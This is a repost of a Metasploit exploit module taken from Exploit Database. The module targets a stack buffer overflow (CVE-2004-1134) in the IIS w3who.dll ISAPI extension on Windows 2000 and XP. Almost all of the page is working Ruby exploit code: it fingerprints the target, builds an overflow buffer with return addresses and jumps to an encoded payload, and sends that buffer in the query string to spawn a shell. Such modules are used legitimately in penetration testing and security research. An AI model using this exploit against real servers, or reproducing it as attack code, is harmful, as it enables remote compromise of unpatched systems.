Microsoft IIS – ISAPI ‘w3who.dll’ Query String Overflow (Metasploit)

• Exploit Database
• 28 阅读

• 作者： Metasploit
  日期： 2010-07-07
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16354/

• ##
  # $Id: w3who_query.rb 9719 2010-07-07 17:38:59Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	# XXX: Needs custom body check. HttpFingerprint = { :pattern => [ // ] }
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the w3who.dll ISAPI
  				application. This vulnerability was discovered Nicolas
  				Gregoire and this code has been successfully tested against
  				Windows 2000 and Windows XP (SP2). When exploiting Windows
  				XP, the payload must call RevertToSelf before it will be
  				able to spawn a command shell.
  
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9719 $',
  			'References' =>
  				[
  					[ 'CVE', '2004-1134' ],
  					[ 'OSVDB', '12258' ],
  					[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html' ],
  					[ 'BID', '11820' ]
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 632,
  					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
  					'MinNops'=> 128,
  					'StackAdjustment' => -3500,
  
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Automatic Detection', { }],
  					['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [48,0x01169f4a ] }], # pop, pop, ret magic
  					['Windows 2000 RESKIT DLL [Windows XP]', { 'Rets' => [ 748,0x10019f4a ] }], # pop, pop, ret magic
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Dec 6 2004'))
  
  		register_options(
  			[
  				OptString.new('URL', [ true,"The path to w3who.dll", "/scripts/w3who.dll" ]),
  			], self.class)
  	end
  
  	def auto_target
  
  		res = send_request_raw(
  			{
  				'uri' => datastore['URL']
  			}, -1)
  		http_fingerprint({ :response => res })# XXX: Needs custom body match
  
  		# Was a vulnerable system detected?
  		t = nil
  		if (res and res.body =~ /Access Token/)
  			case res.headers['Server']
  			when /5\.1/
  				t = targets[2]
  			else
  				t = targets[1]
  			end
  		end
  		t
  	end
  
  	def check
  		if auto_target
  			return Exploit::CheckCode::Vulnerable
  		end
  		Exploit::CheckCode::Safe
  	end
  
  	def exploit
  
  		if (target.name =~ /Automatic/)
  			mytarget = auto_target
  		else
  			mytarget = target
  		end
  
  		if not mytarget
  			raise RuntimeError, "No valid target found"
  		end
  
  		buf = rand_text_english(8192, payload_badchars)
  		buf[mytarget['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
  		buf[mytarget['Rets'][0] - 0, 4] = [ mytarget['Rets'][1] ].pack('V')
  		buf[mytarget['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
  		buf[mytarget['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded
  
  		print_status("Sending request...")
  		r = send_request_raw({
  			'uri' => datastore['URL'],
  			'query' => buf
  		}, 5)
  
  		handler
  	end
  
  end